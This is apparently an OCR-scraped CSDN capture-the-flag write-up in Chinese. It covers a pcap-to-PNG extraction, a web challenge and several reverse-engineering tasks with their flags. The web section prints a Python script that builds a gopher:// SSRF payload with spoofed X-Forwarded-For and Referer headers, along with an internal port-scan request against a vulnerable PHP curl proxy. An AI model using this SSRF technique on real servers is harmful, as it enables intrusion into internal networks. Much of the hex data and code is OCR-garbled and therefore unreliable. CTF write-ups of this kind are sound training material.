#### 提取方式: tshark -r .\设备药剂间数据采集.pcap -T fields -e s7comm.resp.data -Y s7comm > pic.txt

89504e470d0a1a0a000000049484452000000700000000008082000000ad25ee2b00000097048597300000ec400000ec401952b0e1b0000001174455874536f66747761726500536e6970617374655d17cedd00000924494441545885ed5 86b4c53cb169eee4a41a9584a8b2288edc61442c4a6204644ac3191f80c1a312051c0f80c9828318856f08554d1c851c18a0654086f4579a9114babe5911a6c1550b4d21a90576bad806e84beef8f6d7a7b76efe11cb5b97a6ffcfe7466d6 fae69b597bbaf7ac85d36ab5e037ec07e8b72f393a3a5e5e5e5f5f87760502c137d1552ad5cb972fbf43776c6c6cf972e5df41fc26fc84809:39736d2a449ceecec68f7e2c58bdf4497c9649687f14d70727252a954df41fc26d2827a01 8ad46a15000048207a76f50300cc6673434384824234384824239bc0186f748f75af6734f97e1a8d342d54390000a056ab6b6a6a5ebc7821956939e269305a45bad10343434a05aadadad23233234f983cb135e170b89933 67da65bf13c03e017df9f2656464a45aad4e4c4cfcf0e1437272b24824aaaaaccccc47812080408829c9c9c264d9a843115151589c5e25bb76eddb973c76432eddab56b64

4522110cc30683a1acacaca7a7874c26db263028140a854as5a252a918567b7bbbc160b04dfe4647476fdebcf9e9d3276f6fef999d1248343636e699989c3e10a0b0bdbdadadadada264f9e4c2693d1b4155da1f50c62b1d8c1e181482 4d6dd430180c1c0ed7dcdece96997d39b3059a1f575757fbf8f8401024140a7d7c7ce4729b52e9bddc6427804020f0f2f22a2c3ec6e6bd51b1f1b7541f5f259f3f7f7ef2e4490882c2a53cd6d573545494e108387cf8b0582c0be7bf76e 5656168220b1b1b1c3c3c3b9b5b9434343ab57afeeff18f4acdcddc7c3edf964522918e1c3922954a31bb4a4848a0d168d9d9d9adadad858552a95aaa0a0203535150070ead4290a8542a1509c9c9c2a2b2bf3f2f23e7ffebc77ef5e8 azd168ccccco7efaf49c3870fd1dbbe4c26430b0213a0acacecc18307341adde7ce9d93274fe6f1784aa592c3e14c9d3af56fa30900b878f1a256a30300bb78f1a256a3030bbbb9b3670b0bb0bd1f1af99527979794c4c4c46464a4542a95cbe52412 69dbb66d3367ceacaeaeeefef3f76cc1893c92c2a2a210cdddd3d2e2ece6834969494242727ff95e79793986b57cedda57af5ec9

64b2c0c040eb809e3e/d/ac68c19t/eedd434/d86ct	200		~	lc5628c566868687676764646c6a54b97d0112693891e4tb158cc60300606068844e29429537a7a7a828383d56a3
582206161615151512693e9ca952b00000e87939090				085c864f2ba75ebc864727171716c6c2cb09cd0dede5e18866b6b6b030202542a959b9b1b008042a1a8542ab55a
8d76dddcdcd0a20300804ea7f7f5f54df000312c894	查找内容(N): AE426082		查找下一个(F)	52a9d48f1f3fbe7dfb363a3a3a3a3ababbbb3b2e2ece6432858787bbb8b8d8ca4546465a1793ce9e3dabd7eb010
05c2ef7c183075c2e97c7e30d0f0f67646400003a3a				6b573e7cef1f1f1cb972f6b349aebd7af9796964a2492aeae2e008052a9cccdcde572b92b56acf8ba78f4874824
ea743a2a959a		方向	取消	
9797472412474747010008829048241717174bd7d5d		○向上(U) ●向下(D)		15d9d969676e1c2054c2ccc66736a6aeac68d1b2b2b2b2d8308824c9b360d86e1b2b2b2b2b2b2b22a21a8dd6d5d595929
2929b9bbb75eb56a3d18899a1a4a40400d0d3d38399	□ 区分大小与(C)			100009148e4e7e7979f9f6fcb0a0f0fafadadf5f7f7777171110a85c9c9c949494924120900e0e8e808c3308fc7
5bbf7efd9f02ba74e9d2828282d9b367f7f6f632188				8d7d7d7d3c1e2f2222c27ae90402a1bababaabab0b7dbbdbb28686863a3b3b3115529d4e1713133338382897cbd
182dee8e8e8ad5bb7601876707030994ce3e3e3e3e3	□ 循坏(R)			a00adb170e142994ce6e1e1a1d7eb2108421044abd5a2d11f18183879f2e4891327b45aadd96ccecccccc9c919
1a1a52281418964aa5cacdcd7df3e68d4020f0f6f6f	68bc53799ecc3870±000057	5/0/1010/01886/088	thtt/tetete/	2h9bca2a282

c562ad5cb992c964666565f9f9f96dddba95c562b5b4b4dcbf7f3f2323834c263736364aa5d2c4c4c4e0e060eba5e370b880808073e7cecd9d3b373636d696d5d0d0e0efefbf7bf76eeb6f341e8fa7d1683939392c166bd3a64d6ab5bab6b6d6d1d1313d3dddc1c1a1b9b9b9aeaeaeaeaeeecb972fdbb76fbf7dfb765555555a5a1a9d4eb796

aea9a9d9b163070cc31d1d1d2c168b40202895caf9f3e7e3f1781289643018c2c2c248241293c9747070b876eddab265cbd0d3a7542af97c3e9fcf9f3b772e1e8f5fb2640983c178f6ec59585898356b6c6c8cc7e31189c4e8e8e8909090f 2f2f2f6f6f6909090d0d050954ab564c9923fc5e14772f9ab57af5ada212121ffb0daf87d2c6b48

# <i>已经去除了前后的数据</i> import binascii
hexdata = "" with open("pic txt" "p") as file:
<pre>hexdata = file.read().split() hexdata = "".ioin(hexdata)</pre>
<pre>print(hexdata[0:16])</pre>
<pre>with open("png.png","wb") as file2: file2.write(binascii.unhexlify(hexdata))</pre>

把这个放到图片中即可。

no flag here!

CSDN @小蓝同学`

使用010修改高度即可。

no flag here! GOOD\_JOB\_3DES\_Xiwu2XwsdP

CSDN @小蓝同学`

WEB Sign\_in

Sign_in	
难度系数: ■ ■ ■ ■ ■ 3.0	
题目描述:炒鸡简单的签到题,玩的开心~~~~题目链接见附件,每个链接均可访问,环境5分钟重启一次。	
题目附件: 附件	
解题进度: 1/1	CSDN @小蓝同学 <sup>、</sup>

签到题都ssrf了,哎~。 ssrf结合gopher打内网,进行内网探测。

GET /?url=172.73.23. §21 §: §8080 § HTTP/1.1								
Host: 124.222.24.150:8091								
Cache-Control: max-age=0								
Upgrade-Insecure-Requests: 1	le-Insecure-Requests: 1							
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;	agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.							
Accept: text/html,application/xhtml+xml,applicati	on/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.							
Accept-Language: zh-CN,zh;q=0.9								
Jonnection: close								
	CSDN @小蓝同学`							
	NU STRATETING WITH AND AD							
bit URL								
Egeoute								
Dout data D Balance & OxHEX > & SUBL > & BASERA > Dougt ching	to united American string 🖂 Benjace All 🔉							

	highlight_file(FILE);	
	\$ch = curl_init();	
	curl_setopt(\$ch, CURLOPT_UF	RL, \$_GET['url']);
	curl setopt(\$ch, CURLOPT Ht	ADER, 0);
	curl_exec(\$ch);	
	curl close(\$ch);	
15	供给像GET—个a	

CSDN @小蓝同学`

```
import urllib.parse
url='http://124.222.24.150:8091/?url='
ctf=\
"""POST /?a HTTP/1.1
Host: 172.73.23.100:80
X-Forwarded-For:127.0.0.1
Referer:bolean.club
Content-Type:application/x-www-form-urlencoded
Content-Length:1
b
"""
tmp = urllib.parse.quote(ctf)
new = tmp.replace('%0A','%0D%0A')
res = '_'+new
res=urllib.parse.quote(res)
exp='gopher://172.73.23.100:80/'+res
print(exp)
```

```
<?php
highlight_file(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?> HTTP/1.1 200 OK Date: Sun, 24 Apr
2022 07:48:45 GMT Server: Apache/2.4.38
(Debian) X-Powered-By: PHP/7.2.34 Vary:
Accept-Encoding Content-Length: 525
Content-Type: text/html; charset=UTF-8 光ip
是本地的还不可以哦, 还必须从bolean.club
访问才可以
~~flag{Have_A_GoOd_T1m3!!!!!}hello,ctfer,welecome!!!!
```

CSDN @小蓝同学`

RE

freestye

freestyle	
难度系数: ■ ■ ■ ■ ■ 3.0	
题目描述:论数学的重要性。	
题目附件: 附件	
解题进度: 1/1	CSDN @小蓝同学`

逆回去看一下两个函数,分别队输入的字符串使用atoc函数转化尾数字 然后与后面的值进行比对,简单的数据计算即可拿到结果。

```
v2 = __readfsqword(0x28u);
puts("Welcome to Alaska!!!");
puts("please input key: ");
fgets(s, 20, stdin);
if ( 4 * (3 * atoi(s) / 9 - 9) != 4400 )
    exit(0);
puts("ok,level_1 over!\n\n");
return 1LL;
```

CSDN @小蓝同学`

```
три атем и 📼
                  - I DOM
                        ivevue ii 🚃
                                   Harseuuvovue D 🔤
                                                        🖂 HEV ATEM T 📖
                                                                         L DUIGCUIES
                                                                                                    DITURIS
                                                                                                                  니크
                                                                                                                       тирот
1
   2 {
3
   char s[24]; // [rsp+0h] [rbp-20h] BYREF
   unsigned __int64 v2; // [rsp+18h] [rbp-8h]
4
5
6
   v2 = __readfsqword(0x28u);
   puts("Welcome to Paradise Lost!!!");
7
   puts("The code value is the smallest divisible");
8
   puts("please input key: ");
9
   fgets(s, 20, stdin);
if ( 2 * (atoi(s) % 56) != 98 )
10
1
12
     exit(0);
L3
   puts("ok,level_2 over!");
4
   return 1LL;
15}
                                                                                                        CSDN @小蓝同学`
```

手算第一个: 3327 第二个: 105 MD5后即可。

### ez\_algorithm



是个比较复杂的,但是是可以爆破的,每一位都和动调时的相同,这样就爆出了,算是个非预期吧。 rax中有:

	586	call	scar	nf		
	5BB	lea	rax,	, [rb	p+	-390h+var_3
	5BF	mov	rcx,	, rax	(	
	5C2	call	_Z10	0encr	ур	otionPc
	5C7	mov	[rbp	p+39€	h+	Str1], rax
	5CE	call	_Z4)	хур1v	1	
	5D3	mov	rdx,	, rax	/	
	5D6	mov	rax,	, [rb	p+	-390h+Str1]
	5DD	mov	rcx,	, rax	(	
	5E0	call	stro	cmp		
-	Stack[000082C4]:00000000	0062F5CF	db	0		
AX	Stack[000082C4]:00000000	0062F5D0	db	42h	;	В
•	Stack[000082C4]:00000000	0062F5D1	db	52h	;	R
•	Stack[000082C4]:00000000	0062F5D2	db	55h	;	U
•	Stack[000082C4]:00000000	0062F5D3	db	46h	;	F
•	Stack[000082C4]:00000000	0062F5D4	db	7Bh	;	{
•	Stack[000082C4]:00000000	0062F5D5	db	45h	;	E
	Stack[000082C4]:00000000	0062F5D6	db	36h	;	6
•	Stack[000082C4]:00000000	0062F5D7	db	6Fh	;	0
•	Stack[000082C4]:00000000	0062F5D8	db	55h	;	U
•	Stack[000082C4]:00000000	0062F5D9	db	39h	;	9
•	Stack[000082C4]:00000000	0062F5DA	db	43h	;	С
	Stack[000082C4]:00000000	0062F5DB	db	69h		i

CSDN @小蓝同学`

与下文相比一点一点的调整字母就好了

BRUF{E6oU9Ci#J9+6nWAhwMR9n:}

flag{w3LcOmE\_t0\_3NcrYPtiON:}

**Re\_function** 

Re_function	
难度系数: ■ ■ ■ ■ ■ 4.0	
题目描述:你能解出这道"简单"的逆向题目吗?	
题目附件: 附件	
解题进度: 1/1	CSDN @小蓝同学`、

发现不能解压,但是给出了一张图片的数据估计密码就在上面。将数据写入一张图片即可。



有两个文件,一个是32为exe,另一个是64为的elf文件

exe文件直接看c伪代码没看懂感觉好乱看不懂,直接看汇编吧。 然后经过一整调试发现,是将我们输入的奇数位与0x37异或然后得到了一串字符。



然后看elf文件, 魔改的base64算法, 只换了字符串表然后解即可。 flag{we1come\_t0\_wrb}